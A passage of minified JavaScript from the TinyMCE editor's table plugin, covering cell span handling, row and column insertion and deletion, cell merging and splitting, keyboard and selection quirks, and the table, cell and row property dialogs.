parseInt(t.getAttribute(e)||1,10)}};return{setColSpan:n("colSpan"),setRowSpan:n("rowspan"),getColSpan:r("colSpan"),getRowSpan:r("rowSpan"),setSpanVal:function(e,t,r){n(t)(e,r)},getSpanVal:function(e,t){return
r(t)(e)},paddCell:t}}),r("tinymce/tableplugin/SplitCols",["tinymce/util/Tools","tinymce/tableplugin/Utils"],function(e,t){var
n=function(e,t,n){return e[n]?e[n][t]:null},r=function(e,t,r){var
i=n(e,t,r);return i?i.elm:null},i=function(e,t,i,o){var
a,s,l=0,c=r(e,t,i);for(a=i;(o>0?a<e.length:a>=0)&&(s=n(e,t,a),c===s.elm);a+=o)l++;return
l},o=function(e,t,n){for(var
r,i=e[n],o=t;o<i.length;o++)if(r=i[o],r.real)return r.elm;return
null},a=function(e,n){for(var
r,o=[],a=e[n],s=0;s<a.length;s++)r=a[s],o.push({elm:r.elm,above:i(e,s,n,-1)-1,below:i(e,s,n,1)-1}),s+=t.getColSpan(r.elm)-1;return
o},s=function(e,n){var
r=e.elm.ownerDocument,i=r.createElement("td");return
t.setColSpan(i,t.getColSpan(e.elm)),t.setRowSpan(i,n),t.paddCell(i),i},l=function(e,t,n,r){var
i=o(e,n+1,r);i?i.parentNode.insertBefore(t,i):(i=o(e,0,r),i.parentNode.appendChild(t))},c=function(e,n,r,i){if(0!==n.above){t.setRowSpan(n.elm,n.above);var
o=s(n,n.below+1);return l(e,o,r,i),o}return
null},u=function(e,n,r,i){if(0!==n.below){t.setRowSpan(n.elm,n.above+1);var
o=s(n,n.below);return l(e,o,r,i+1),o}return null},d=function(t,n,i,o){var
s=a(t,i),l=r(t,n,i).parentNode,d=[];return e.each(s,function(e,n){var
r=o?c(t,e,n,i):u(t,e,n,i);null!==r&&d.push(d)}),{cells:d,row:l}};return{splitAt:d}}),r("tinymce/tableplugin/TableGrid",["tinymce/util/Tools","tinymce/Env","tinymce/tableplugin/Utils","tinymce/tableplugin/SplitCols"],function(e,n,r,i){var
o=e.each,a=r.getSpanVal,s=r.setSpanVal;return function(l,c,u){function
d(){l.$("td[data-mce-selected],th[data-mce-selected]").removeAttr("data-mce-selected")}function
f(e){return e===l.getBody()}function p(t,n){return
t?(n=e.map(n.split(","),function(e){return
e.toLowerCase()}),e.grep(t.childNodes,function(t){return
e.inArray(n,t.nodeName.toLowerCase())!==-1})):[]}function m(){var
e=0;Z=[],Q=0,o(["thead","tbody","tfoot"],function(t){var
n=p(c,t)[0],r=p(n,"tr");o(r,function(n,r){r+=e,o(p(n,"td,th"),function(e,n){var
i,o,s,l;if(Z[r])for(;Z[r][n];)n++;for(s=a(e,"rowspan"),l=a(e,"colspan"),o=r;o<r+s;o++)for(Z[o]||(Z[o]=[]),i=n;i<n+l;i++)Z[o][i]={part:t,real:o==r&&i==n,elm:e,rowspan:s,colspan:l};Q=Math.max(Q,n+1)})}),e+=r.length})}function
g(e){return l.fire("newrow",{node:e}),e}function h(e){return
l.fire("newcell",{node:e}),e}function v(e,t){return
e=e.cloneNode(t),e.removeAttribute("id"),e}function b(e,t){var
n;if(n=Z[t])return n[e]}function y(e,t){return e[t]?e[t]:null}function
x(e,t){for(var n=[],r=0;r<e.length;r++)n.push(b(t,r));return n}function
C(e){return
e&&(!!re.getAttrib(e.elm,"data-mce-selected")||e==u)}function
w(){var e=[];return
o(c.rows,function(t){o(t.cells,function(n){if(re.getAttrib(n,"data-mce-selected")||u&&n==u.elm)return
e.push(t),!1})}),e}function N(){var e=0;return
o(Z,function(t){if(o(t,function(t){C(t)&&e++}),e)return!1}),e}function
k(){var
e=re.createRng();f(c)||(e.setStartAfter(c),e.setEndAfter(c),ne.setRng(e),re.remove(c))}function
S(t){var i,a={};return
l.settings.table_clone_elements!==!1&&(a=e.makeMap((l.settings.table_clone_elements||"strong
em b i span font h1 h2 h3 h4 h5 h6 p div").toUpperCase(),/[
,]/)),e.walk(t,function(e){var r;if(3==e.nodeType)return
o(re.getParents(e.parentNode,null,t).reverse(),function(e){a[e.nodeName]&&(e=v(e,!1),i?r&&r.appendChild(e):i=r=e,r=e)}),r&&(r.innerHTML=n.ie&&n.ie<10?"&nbsp;":'<br
data-mce-bogus="1"
/>'),!1},"childNodes"),t=v(t,!1),h(t),s(t,"rowSpan",1),s(t,"colSpan",1),i?t.appendChild(i):r.paddCell(t),t}function
_(){var e,t=re.createRng();return
o(re.select("tr",c),function(e){0===e.cells.length&&re.remove(e)}),0===re.select("tr",c).length?(t.setStartBefore(c),t.setEndBefore(c),ne.setRng(t),void
re.remove(c)):(o(re.select("thead,tbody,tfoot",c),function(e){0===e.rows.length&&re.remove(e)}),m(),void(ee&&(e=Z[Math.min(Z.length-1,ee.y)],e&&(ne.select(e[Math.min(e.length-1,ee.x)].elm,!0),ne.collapse(!0)))))}function
E(e,t,n,r){var
i,o,a,s,l;for(i=Z[t][e].elm.parentNode,a=1;a<=n;a++)if(i=re.getNext(i,"tr")){for(o=e;o>=0;o--)if(l=Z[t+a][o].elm,l.parentNode==i){for(s=1;s<=r;s++)re.insertAfter(S(l),l);break}if(o==-1)for(s=1;s<=r;s++)i.insertBefore(S(i.cells[0]),i.cells[0])}}function
T(){o(Z,function(e,t){o(e,function(e,n){var
r,i,o;if(C(e)&&(e=e.elm,r=a(e,"colspan"),i=a(e,"rowspan"),r>1||i>1)){for(s(e,"rowSpan",1),s(e,"colSpan",1),o=0;o<r-1;o++)re.insertAfter(S(e),e);E(n,t,i-1,r)}})})}function
R(e,t,n){for(var
r=[],i=0;i<e.length;i++)(i<t||i>n)&&r.push(e[i]);return
r}function A(t){return e.grep(t,function(e){return e.real===!1})}function
B(e){for(var t=[],n=0;n<e.length;n++){var
r=e[n].elm;t[t.length-1]!==r&&t.push(r)}return t}function
P(t,n,i,o,a){var s=0;if(a-i<1)return 0;for(var l=i+1;l<=a;l++){var
c=R(y(t,l),n,o),u=A(c);c.length===u.length&&(e.each(B(u),function(e){r.setRowSpan(e,r.getRowSpan(e)-1)}),s++)}return
s}function D(t,n,i,o,a){var s=0;if(o-n<1)return 0;for(var
l=n+1;l<=o;l++){var
c=R(x(t,l),i,a),u=A(c);c.length===u.length&&(e.each(B(u),function(e){r.setColSpan(e,r.getColSpan(e)-1)}),s++)}return
s}function M(t,n,r){var
i,a,l,c,u,d,f,p,g,h,v,y,x;if(t?(i=q(t),a=i.x,l=i.y,c=a+(n-1),u=l+(r-1)):(ee=te=null,o(Z,function(e,t){o(e,function(e,n){C(e)&&(ee||(ee={x:n,y:t}),te={x:n,y:t})})}),ee&&(a=ee.x,l=ee.y,c=te.x,u=te.y)),p=b(a,l),g=b(c,u),p&&g&&p.part==g.part){T(),m(),y=P(Z,a,l,c,u),x=D(Z,a,l,c,u),p=b(a,l).elm;var
w=c-a-x+1,N=u-l-y+1;for(w===Q&&N===Z.length&&(w=1,N=1),w===Q&&N>1&&(N=1),s(p,"colSpan",w),s(p,"rowSpan",N),f=l;f<=u;f++)for(d=a;d<=c;d++)Z[f]&&Z[f][d]&&(t=Z[f][d].elm,t!=p&&(h=e.grep(t.childNodes),o(h,function(e){p.appendChild(e)}),h.length&&(h=e.grep(p.childNodes),v=0,o(h,function(e){"BR"==e.nodeName&&v++<h.length-1&&p.removeChild(e)})),re.remove(t)));_()}}function
L(e){var
n,r,i,l,c,u,d,f,p,m;if(o(Z,function(r,i){if(o(r,function(t){if(C(t)&&(t=t.elm,c=t.parentNode,u=g(v(c,!1)),n=i,e))return!1}),e)return
n===t}),n!==t){for(l=0,m=0;l<Z[0].length;l+=m)if(Z[n][l]&&(r=Z[n][l].elm,m=a(r,"colspan"),r!=i)){if(e){if(n>0&&Z[n-1][l]&&(f=Z[n-1][l].elm,p=a(f,"rowSpan"),p>1)){s(f,"rowSpan",p+1);continue}}else
if(p=a(r,"rowspan"),p>1){s(r,"rowSpan",p+1);continue}d=S(r),s(d,"colSpan",r.colSpan),u.appendChild(d),i=r}u.hasChildNodes()&&(e?c.parentNode.insertBefore(u,c):re.insertAfter(u,c))}}function
I(e,t){t=t||w().length||1;for(var n=0;n<t;n++)L(e)}function O(e){var
n,r;o(Z,function(r){if(o(r,function(t,r){if(C(t)&&(n=r,e))return!1}),e)return
n===t}),o(Z,function(t,i){var
o,l,c;t[n]&&(o=t[n].elm,o!=r&&(c=a(o,"colspan"),l=a(o,"rowspan"),1==c?e?(o.parentNode.insertBefore(S(o),o),E(n,i,l-1,c)):(re.insertAfter(S(o),o),E(n,i,l-1,c)):s(o,"colSpan",o.colSpan+1),r=o))})}function
H(e,t){t=t||N()||1;for(var n=0;n<t;n++)O(e)}function F(t){return
e.grep(z(t),C)}function z(e){var t=[];return
o(e,function(e){o(e,function(e){t.push(e)})}),t}function W(){var
t=[];if(f(c)){if(1==Z[0].length)return;if(F(Z).length==z(Z).length)return}o(Z,function(n){o(n,function(n,r){C(n)&&e.inArray(t,r)===-1&&(o(Z,function(e){var
t,n=e[r].elm;t=a(n,"colSpan"),t>1?s(n,"colSpan",t-1):re.remove(n)}),t.push(r))})}),_()}function
U(){function e(e){var t,n;o(e.cells,function(e){var
n=a(e,"rowSpan");n>1&&(s(e,"rowSpan",n-1),t=q(e),E(t.x,t.y,1,1))}),t=q(e.cells[0]),o(Z[t.y],function(e){var
t;e=e.elm,e!=n&&(t=a(e,"rowSpan"),t<=1?re.remove(e):s(e,"rowSpan",t-1),n=e)})}var
t;t=w(),f(c)&&t.length==c.rows.length||(o(t.reverse(),function(t){e(t)}),_())}function
V(){var e=w();if(!f(c)||e.length!=c.rows.length)return
re.remove(e),_(),e}function $(){var e=w();return
o(e,function(t,n){e[n]=v(t,!0)}),e}function j(t,n){var
r,a,l;t&&(r=i.splitAt(Z,ee.x,ee.y,n),a=r.row,e.each(r.cells,h),l=e.map(t,function(e){return
e.cloneNode(!0)}),n||l.reverse(),o(l,function(e){var
t,r,i=e.cells.length;for(g(e),t=0;t<i;t++)r=e.cells[t],h(r),s(r,"colSpan",1),s(r,"rowSpan",1);for(t=i;t<Q;t++)e.appendChild(h(S(e.cells[i-1])));for(t=Q;t<i;t++)re.remove(e.cells[t]);n?a.parentNode.insertBefore(e,a):re.insertAfter(e,a)}),d())}function
q(e){var t;return o(Z,function(n,r){return
o(n,function(n,i){if(n.elm==e)return t={x:i,y:r},!1}),!t}),t}function
Y(e){ee=q(e)}function X(){var e,t;return
e=t=0,o(Z,function(n,r){o(n,function(n,i){var
o,a;C(n)&&(n=Z[r][i],i>e&&(e=i),r>t&&(t=r),n.real&&(o=n.colspan-1,a=n.rowspan-1,o&&i+o>e&&(e=i+o),a&&r+a>t&&(t=r+a)))})}),{x:e,y:t}}function
K(e){var
t,n,r,i,o,a,s,l,c,u;if(te=q(e),ee&&te){for(t=Math.min(ee.x,te.x),n=Math.min(ee.y,te.y),r=Math.max(ee.x,te.x),i=Math.max(ee.y,te.y),o=r,a=i,u=n;u<=i;u++)for(c=t;c<=r;c++)e=Z[u][c],e.real&&(s=e.colspan-1,l=e.rowspan-1,s&&c+s>o&&(o=c+s),l&&u+l>a&&(a=u+l));for(d(),u=n;u<=a;u++)for(c=t;c<=o;c++)Z[u][c]&&re.setAttrib(Z[u][c].elm,"data-mce-selected","1")}}function
G(e,t){var
n,r,i;n=q(e),r=n.y*Q+n.x;do{if(r+=t,i=b(r%Q,Math.floor(r/Q)),!i)break;if(i.elm!=e)return
ne.select(i.elm,!0),re.isEmpty(i.elm)&&ne.collapse(!0),!0}while(i.elm==e);return!1}function
J(t){if(ee){var n=i.splitAt(Z,ee.x,ee.y,t);e.each(n.cells,h)}}var
Z,Q,ee,te,ne=l.selection,re=ne.dom;c=c||re.getParent(ne.getStart(!0),"table"),m(),u=u||re.getParent(ne.getStart(!0),"th,td"),u&&(ee=q(u),te=X(),u=b(ee.x,ee.y)),e.extend(this,{deleteTable:k,split:T,merge:M,insertRow:L,insertRows:I,insertCol:O,insertCols:H,splitCols:J,deleteCols:W,deleteRows:U,cutRows:V,copyRows:$,pasteRows:j,getPos:q,setStartCell:Y,setEndCell:K,moveRelIdx:G,refresh:m})}}),r("tinymce/tableplugin/Quirks",["tinymce/util/VK","tinymce/util/Delay","tinymce/Env","tinymce/util/Tools","tinymce/tableplugin/Utils"],function(e,t,n,r,i){var
o=r.each,a=i.getSpanVal;return function(s){function l(){function
n(n){function r(e,t){var
r=e?"previousSibling":"nextSibling",o=s.dom.getParent(t,"tr"),a=o[r];if(a)return
v(s,t,a,e),n.preventDefault(),!0;var
l=s.dom.getParent(o,"table"),d=o.parentNode,f=d.nodeName.toLowerCase();if("tbody"===f||f===(e?"tfoot":"thead")){var
p=i(e,l,d,"tbody");if(null!==p)return c(e,p,t)}return
u(e,o,r,l)}function i(e,t,n,r){var
i=s.dom.select(">"+r,t),o=i.indexOf(n);if(e&&0===o||!e&&o===i.length-1)return
l(e,t);if(o===-1){var
a="thead"===n.tagName.toLowerCase()?0:i.length-1;return
i[a]}return i[o+(e?-1:1)]}function l(e,t){var
n=e?"thead":"tfoot",r=s.dom.select(">"+n,t);return
0!==r.length?r[0]:null}function c(e,t,r){var i=d(t,e);return
i&&v(s,r,i,e),n.preventDefault(),!0}function u(e,t,i,o){var
a=o[i];if(a)return f(a),!0;var
l=s.dom.getParent(o,"td,th");if(l)return r(e,l,n);var
c=d(t,!e);return f(c),n.preventDefault(),!1}function d(e,t){var
n=e&&e[t?"lastChild":"firstChild"];return
n&&"BR"===n.nodeName?s.dom.getParent(n,"td,th"):n}function
f(e){s.selection.setCursorLocation(e,0)}function p(){return
x==e.UP||x==e.DOWN}function m(e){var
t=e.selection.getNode(),n=e.dom.getParent(t,"tr");return
null!==n}function g(e){for(var
t=0,n=e;n.previousSibling;)n=n.previousSibling,t+=a(n,"colspan");return
t}function h(e,t){var n=0,r=0;return
o(e.children,function(e,i){if(n+=a(e,"colspan"),r=i,n>t)return!1}),r}function
v(e,t,n,r){var
i=g(s.dom.getParent(t,"td,th")),o=h(n,i),a=n.childNodes[o],l=d(a,r);f(l||a)}function
b(e){var
t=s.selection.getNode(),n=s.dom.getParent(t,"td,th"),r=s.dom.getParent(e,"td,th");return
n&&n!==r&&y(n,r)}function y(e,t){return
s.dom.getParent(e,"TABLE")===s.dom.getParent(t,"TABLE")}var
x=n.keyCode;if(p()&&m(s)){var
C=s.selection.getNode();t.setEditorTimeout(s,function(){b(C)&&r(!n.shiftKey&&x===e.UP,C,n)},0)}}s.on("KeyDown",function(e){n(e)})}function
c(){function e(e,t){var n,r=t.ownerDocument,i=r.createRange();return
i.setStartBefore(t),i.setEnd(e.endContainer,e.endOffset),n=r.createElement("body"),n.appendChild(i.cloneContents()),0===n.innerHTML.replace(/<(br|img|object|embed|input|textarea)[^>]*>/gi,"-").replace(/<[^>]+>/g,"").length}s.on("KeyDown",function(t){var
n,r,i=s.dom;37!=t.keyCode&&38!=t.keyCode||(n=s.selection.getRng(),r=i.getParent(n.startContainer,"table"),r&&s.getBody().firstChild==r&&e(n,r)&&(n=i.createRng(),n.setStartBefore(r),n.setEndBefore(r),s.selection.setRng(n),t.preventDefault()))})}function
u(){s.on("KeyDown SetContent VisualAid",function(){var
e;for(e=s.getBody().lastChild;e;e=e.previousSibling)if(3==e.nodeType){if(e.nodeValue.length>0)break}else
if(1==e.nodeType&&("BR"==e.tagName||!e.getAttribute("data-mce-bogus")))break;e&&"TABLE"==e.nodeName&&(s.settings.forced_root_block?s.dom.add(s.getBody(),s.settings.forced_root_block,s.settings.forced_root_block_attrs,n.ie&&n.ie<10?"&nbsp;":'<br
data-mce-bogus="1"
/>'):s.dom.add(s.getBody(),"br",{"data-mce-bogus":"1"}))}),s.on("PreProcess",function(e){var
t=e.node.lastChild;t&&("BR"==t.nodeName||1==t.childNodes.length&&("BR"==t.firstChild.nodeName||"\xa0"==t.firstChild.nodeValue))&&t.previousSibling&&"TABLE"==t.previousSibling.nodeName&&s.dom.remove(t)})}function
d(){function e(e,t,n,r){var
i,o,a,s=3,l=e.dom.getParent(t.startContainer,"TABLE");return
l&&(i=l.parentNode),o=t.startContainer.nodeType==s&&0===t.startOffset&&0===t.endOffset&&r&&("TR"==n.nodeName||n==i),a=("TD"==n.nodeName||"TH"==n.nodeName)&&!r,o||a}function
t(){var
t=s.selection.getRng(),n=s.selection.getNode(),r=s.dom.getParent(t.startContainer,"TD,TH");if(e(s,t,n,r)){r||(r=n);for(var
i=r.lastChild;i.lastChild;)i=i.lastChild;3==i.nodeType&&(t.setEnd(i,i.data.length),s.selection.setRng(t))}}s.on("KeyDown",function(){t()}),s.on("MouseDown",function(e){2!=e.button&&t()})}function
f(){function
t(e){s.selection.select(e,!0),s.selection.collapse(!0)}function
n(e){s.$(e).empty(),i.paddCell(e)}s.on("keydown",function(i){if((i.keyCode==e.DELETE||i.keyCode==e.BACKSPACE)&&!i.isDefaultPrevented()){var
o,a,l,c;if(o=s.dom.getParent(s.selection.getStart(),"table")){if(a=s.dom.select("td,th",o),l=r.grep(a,function(e){return!!s.dom.getAttrib(e,"data-mce-selected")}),0===l.length)return
c=s.dom.getParent(s.selection.getStart(),"td,th"),void(s.selection.isCollapsed()&&c&&s.dom.isEmpty(c)&&(i.preventDefault(),n(c),t(c)));i.preventDefault(),s.undoManager.transact(function(){a.length==l.length?s.execCommand("mceTableDelete"):(r.each(l,n),t(l[0]))})}}})}function
p(){var t=function(e){return
e&&"CAPTION"==e.nodeName&&"TABLE"==e.parentNode.nodeName},r=function(e,t){var
n=s.selection.getRng(),r=e.ownerDocument.createTextNode("\xa0");n.startOffset?e.insertBefore(r,e.firstChild):e.appendChild(r),t&&(s.selection.select(r,!0),s.selection.collapse(!0))},i=function(t){return(t.keyCode==e.DELETE||t.keyCode==e.BACKSPACE)&&!t.isDefaultPrevented()},o=function(e){return
e.firstChild===e.lastChild&&e.firstChild},a=function(e){return
e&&3===e.nodeType},l=function(e){var t=o(e);return
a(t)&&1===t.data.length?t.data:null},c=function(e){var
t=o(e),n=l(e);return
t&&!a(t)||n&&!d(n)},u=function(e){return
s.dom.isEmpty(e)||d(l(e))},d=function(e){return"\xa0"===e};s.on("keydown",function(e){if(i(e)){var
o=s.dom.getParent(s.selection.getStart(),"caption");t(o)&&(n.ie&&(s.selection.isCollapsed()?c(o)&&r(o):(s.undoManager.transact(function(){s.execCommand("Delete"),u(o)&&r(o,!0)}),e.preventDefault())),u(o)&&e.preventDefault())}})}f(),p(),n.webkit&&(l(),d()),n.gecko&&(c(),u()),n.ie>9&&(c(),u())}}),r("tinymce/tableplugin/CellSelection",["tinymce/tableplugin/TableGrid","tinymce/dom/TreeWalker","tinymce/util/Tools"],function(e,t,n){return
function(r,i){function
o(e){r.getBody().style.webkitUserSelect="",(e||g)&&(r.$("td[data-mce-selected],th[data-mce-selected]").removeAttr("data-mce-selected"),g=!1)}function
a(e,t){return!(!e||!t)&&e===m.getParent(t,"table")}function
s(t){var
n,o,s=t.target;if(!f&&!p&&s!==d&&(d=s,u&&c)){if(o=m.getParent(s,"td,th"),a(u,o)||(o=m.getParent(u,"td,th")),c===o&&!g)return;if(i(!0),a(u,o)){t.preventDefault(),l||(l=new
e(r,u,c),r.getBody().style.webkitUserSelect="none"),l.setEndCell(o),g=!0,n=r.selection.getSel();try{n.removeAllRanges?n.removeAllRanges():n.empty()}catch(e){}}}}var
l,c,u,d,f,p,m=r.dom,g=!0,h=function(){c=l=u=d=null,i(!1)};return
r.on("SelectionChange",function(e){g&&e.stopImmediatePropagation()},!0),r.on("MouseDown",function(e){2==e.button||f||p||(o(),c=m.getParent(e.target,"td,th"),u=m.getParent(c,"table"))}),r.on("mouseover",s),r.on("remove",function(){m.unbind(r.getDoc(),"mouseover",s),o()}),r.on("MouseUp",function(){function
e(e,r){var o=new
t(e,e);do{if(3==e.nodeType&&0!==n.trim(e.nodeValue).length)return
void(r?i.setStart(e,0):i.setEnd(e,e.nodeValue.length));if("BR"==e.nodeName)return
void(r?i.setStartBefore(e):i.setEndBefore(e))}while(e=r?o.next():o.prev())}var
i,o,a,s,u,d=r.selection;if(c){if(l&&(r.getBody().style.webkitUserSelect=""),o=m.select("td[data-mce-selected],th[data-mce-selected]"),o.length>0){i=m.createRng(),s=o[0],i.setStartBefore(s),i.setEndAfter(s),e(s,1),a=new
t(s,m.getParent(o[0],"table"));do
if("TD"==s.nodeName||"TH"==s.nodeName){if(!m.getAttrib(s,"data-mce-selected"))break;u=s}while(s=a.next());e(u),d.setRng(i)}r.nodeChanged(),h()}}),r.on("KeyUp
Drop
SetContent",function(e){o("setcontent"==e.type),h(),f=!1}),r.on("ObjectResizeStart
ObjectResized",function(e){f="objectresized"!=e.type}),r.on("dragstart",function(){p=!0}),r.on("drop
dragend",function(){p=!1}),{clear:o}}}),r("tinymce/tableplugin/Dialogs",["tinymce/util/Tools","tinymce/Env"],function(e,t){var
n=e.each;return function(r){function i(){var
e=r.settings.color_picker_callback;if(e)return function(){var
t=this;e.call(r,function(e){t.value(e).fire("change")},t.value())}}function
o(e){return{title:"Advanced",type:"form",defaults:{onchange:function(){d(e,this.parents().reverse()[0],"style"==this.name())}},items:[{label:"Style",name:"style",type:"textbox"},{type:"form",padding:0,formItemDefaults:{layout:"grid",alignH:["start","right"]},defaults:{size:7},items:[{label:"Border
color",type:"colorbox",name:"borderColor",onaction:i()},{label:"Background
color",type:"colorbox",name:"backgroundColor",onaction:i()}]}]}}function
a(e){return e?e.replace(/px$/,""):""}function
s(e){return/^[0-9]+$/.test(e)&&(e+="px"),e}function
l(e){n("left center right".split("
"),function(t){r.formatter.remove("align"+t,{},e)})}function
c(e){n("top middle bottom".split("
"),function(t){r.formatter.remove("valign"+t,{},e)})}function
u(t,n,r){function i(t,r){return r=r||[],e.each(t,function(e){var
t={text:e.text||e.title};e.menu?t.menu=i(e.menu):(t.value=e.value,n&&n(t)),r.push(t)}),r}return
i(t,r||[])}function d(e,t,n){var
r=t.toJSON(),i=e.parseStyle(r.style);n?(t.find("#borderColor").value(i["border-color"]||"")[0].fire("change"),t.find("#backgroundColor").value(i["background-color"]||"")[0].fire("change")):(i["border-color"]=r.borderColor,i["background-color"]=r.backgroundColor),t.find("#style").value(e.serializeStyle(e.parseStyle(e.serializeStyle(i))))}function
f(e,t,n){var
r=e.parseStyle(e.getAttrib(n,"style"));r["border-color"]&&(t.borderColor=r["border-color"]),r["background-color"]&&(t.backgroundColor=r["background-color"]),t.style=e.serializeStyle(r)}function
p(e,t,r){var
i=e.parseStyle(e.getAttrib(t,"style"));n(r,function(e){i[e.name]=e.value}),e.setAttrib(t,"style",e.serializeStyle(e.parseStyle(e.serializeStyle(i))))}var
m=this;m.tableProps=function(){m.table(!0)},m.table=function(i){function
c(){function
n(e,t,r){if("TD"===e.tagName||"TH"===e.tagName)C.setStyle(e,t,r);else
if(e.children)for(var
i=0;i<e.children.length;i++)n(e.children[i],t,r)}var
i;d(C,this),w=e.extend(w,this.toJSON()),w["class"]===!1&&delete
w["class"],r.undoManager.transact(function(){if(g||(g=r.plugins.table.insertTable(w.cols||1,w.rows||1)),r.dom.setAttribs(g,{style:w.style,"class":w["class"]}),r.settings.table_style_by_css){if(x=[],x.push({name:"border",value:w.border}),x.push({name:"border-spacing",value:s(w.cellspacing)}),p(C,g,x),C.setAttribs(g,{"data-mce-border-color":w.borderColor,"data-mce-cell-padding":w.cellpadding,"data-mce-border":w.border}),g.children)for(var
e=0;e<g.children.length;e++)n(g.children[e],"border",w.border),n(g.children[e],"padding",s(w.cellpadding))}else
r.dom.setAttribs(g,{border:w.border,cellpadding:w.cellpadding,cellspacing:w.cellspacing});C.getAttrib(g,"width")&&!r.settings.table_style_by_css?C.setAttrib(g,"width",a(w.width)):C.setStyle(g,"width",s(w.width)),C.setStyle(g,"height",s(w.height)),i=C.select("caption",g)[0],i&&!w.caption&&C.remove(i),!i&&w.caption&&(i=C.create("caption"),i.innerHTML=t.ie?"\xa0":'<br
data-mce-bogus="1"/>',g.insertBefore(i,g.firstChild)),l(g),w.align&&r.formatter.apply("align"+w.align,{},g),r.focus(),r.addVisual()})}function
m(e,t){function n(e,n){for(var r=0;r<n.length;r++){var
i=C.getStyle(n[r],t);if("undefined"==typeof
e&&(e=i),e!=i)return""}return e}var
i,o=r.dom.select("td,th",e);return i=n(i,o)}var
g,h,v,b,y,x,C=r.dom,w={};i===!0?(g=C.getParent(r.selection.getStart(),"table"),g&&(w={width:a(C.getStyle(g,"width")||C.getAttrib(g,"width")),height:a(C.getStyle(g,"height")||C.getAttrib(g,"height")),cellspacing:a(C.getStyle(g,"border-spacing")||C.getAttrib(g,"cellspacing")),cellpadding:C.getAttrib(g,"data-mce-cell-padding")||C.getAttrib(g,"cellpadding")||m(g,"padding"),border:C.getAttrib(g,"data-mce-border")||C.getAttrib(g,"border")||m(g,"border"),borderColor:C.getAttrib(g,"data-mce-border-color"),caption:!!C.select("caption",g)[0],"class":C.getAttrib(g,"class")},n("left
center right".split("
"),function(e){r.formatter.matchNode(g,"align"+e)&&(w.align=e)}))):(h={label:"Cols",name:"cols"},v={label:"Rows",name:"rows"}),r.settings.table_class_list&&(w["class"]&&(w["class"]=w["class"].replace(/\s*mce\-item\-table\s*/g,"")),b={name:"class",type:"listbox",label:"Class",values:u(r.settings.table_class_list,function(e){e.value&&(e.textStyle=function(){return
r.formatter.getCssText({block:"table",classes:[e.value]})})})}),y={type:"form",layout:"flex",direction:"column",labelGapCalc:"children",padding:0,items:[{type:"form",labelGapCalc:!1,padding:0,layout:"grid",columns:2,defaults:{type:"textbox",maxWidth:50},items:r.settings.table_appearance_options!==!1?[h,v,{label:"Width",name:"width"},{label:"Height",name:"height"},{label:"Cell
spacing",name:"cellspacing"},{label:"Cell
padding",name:"cellpadding"},{label:"Border",name:"border"},{label:"Caption",name:"caption",type:"checkbox"}]:[h,v,{label:"Width",name:"width"},{label:"Height",name:"height"}]},{label:"Alignment",name:"align",type:"listbox",text:"None",values:[{text:"None",value:""},{text:"Left",value:"left"},{text:"Center",value:"center"},{text:"Right",value:"right"}]},b]},r.settings.table_advtab!==!1?(f(C,w,g),r.windowManager.open({title:"Table
properties",data:w,bodyType:"tabpanel",body:[{title:"General",type:"form",items:y},o(C)],onsubmit:c})):r.windowManager.open({title:"Table
properties",data:w,body:y,onsubmit:c})},m.merge=function(e,t){r.windowManager.open({title:"Merge
cells",body:[{label:"Cols",name:"cols",type:"textbox",value:"1",size:10},{label:"Rows",name:"rows",type:"textbox",value:"1",size:10}],onsubmit:function(){var
n=this.toJSON();r.undoManager.transact(function(){e.merge(t,n.cols,n.rows)})}})},m.cell=function(){function
t(e,t,n){(1===b.length||n)&&v.setAttrib(e,t,n)}function
i(e,t,n){(1===b.length||n)&&v.setStyle(e,t,n)}function
p(){d(v,this),g=e.extend(g,this.toJSON()),r.undoManager.transact(function(){n(b,function(e){t(e,"scope",g.scope),t(e,"style",g.style),t(e,"class",g["class"]),i(e,"width",s(g.width)),i(e,"height",s(g.height)),g.type&&e.nodeName.toLowerCase()!==g.type&&(e=v.rename(e,g.type)),1===b.length&&(l(e),c(e)),g.align&&r.formatter.apply("align"+g.align,{},e),g.valign&&r.formatter.apply("valign"+g.valign,{},e)}),r.focus()})}var
m,g,h,v=r.dom,b=[];if(b=r.dom.select("td[data-mce-selected],th[data-mce-selected]"),m=r.dom.getParent(r.selection.getStart(),"td,th"),!b.length&&m&&b.push(m),m=m||b[0]){b.length>1?g={width:"",height:"",scope:"","class":"",align:"",style:"",type:m.nodeName.toLowerCase()}:(g={width:a(v.getStyle(m,"width")||v.getAttrib(m,"width")),height:a(v.getStyle(m,"height")||v.getAttrib(m,"height")),scope:v.getAttrib(m,"scope"),"class":v.getAttrib(m,"class")},g.type=m.nodeName.toLowerCase(),n("left
center right".split("
"),function(e){r.formatter.matchNode(m,"align"+e)&&(g.align=e)}),n("top
middle bottom".split("
"),function(e){r.formatter.matchNode(m,"valign"+e)&&(g.valign=e)}),f(v,g,m)),r.settings.table_cell_class_list&&(h={name:"class",type:"listbox",label:"Class",values:u(r.settings.table_cell_class_list,function(e){e.value&&(e.textStyle=function(){return
r.formatter.getCssText({block:"td",classes:[e.value]})})})});var
y={type:"form",layout:"flex",direction:"column",labelGapCalc:"children",padding:0,items:[{type:"form",layout:"grid",columns:2,labelGapCalc:!1,padding:0,defaults:{type:"textbox",maxWidth:50},items:[{label:"Width",name:"width"},{label:"Height",name:"height"},{label:"Cell
type",name:"type",type:"listbox",text:"None",minWidth:90,maxWidth:null,values:[{text:"Cell",value:"td"},{text:"Header
cell",value:"th"}]},{label:"Scope",name:"scope",type:"listbox",text:"None",minWidth:90,maxWidth:null,values:[{text:"None",value:""},{text:"Row",value:"row"},{text:"Column",value:"col"},{text:"Row
group",value:"rowgroup"},{text:"Column
group",value:"colgroup"}]},{label:"H
Align",name:"align",type:"listbox",text:"None",minWidth:90,maxWidth:null,values:[{text:"None",value:""},{text:"Left",value:"left"},{text:"Center",value:"center"},{text:"Right",value:"right"}]},{label:"V
Align",name:"valign",type:"listbox",text:"None",minWidth:90,maxWidth:null,values:[{text:"None",value:""},{text:"Top",value:"top"},{text:"Middle",value:"middle"},{text:"Bottom",value:"bottom"}]}]},h]};r.settings.table_cell_advtab!==!1?r.windowManager.open({title:"Cell
properties",bodyType:"tabpanel",data:g,body:[{title:"General",type:"form",items:y},o(v)],onsubmit:p}):r.windowManager.open({title:"Cell
properties",data:g,body:y,onsubmit:p})}},m.row=function(){function
t(e,t,n){(1===x.length||n)&&y.setAttrib(e,t,n)}function
i(e,t,n){(1===x.length||n)&&y.setStyle(e,t,n)}function c(){var
o,a,c;d(y,this),v=e.extend(v,this.toJSON()),r.undoManager.transact(function(){var
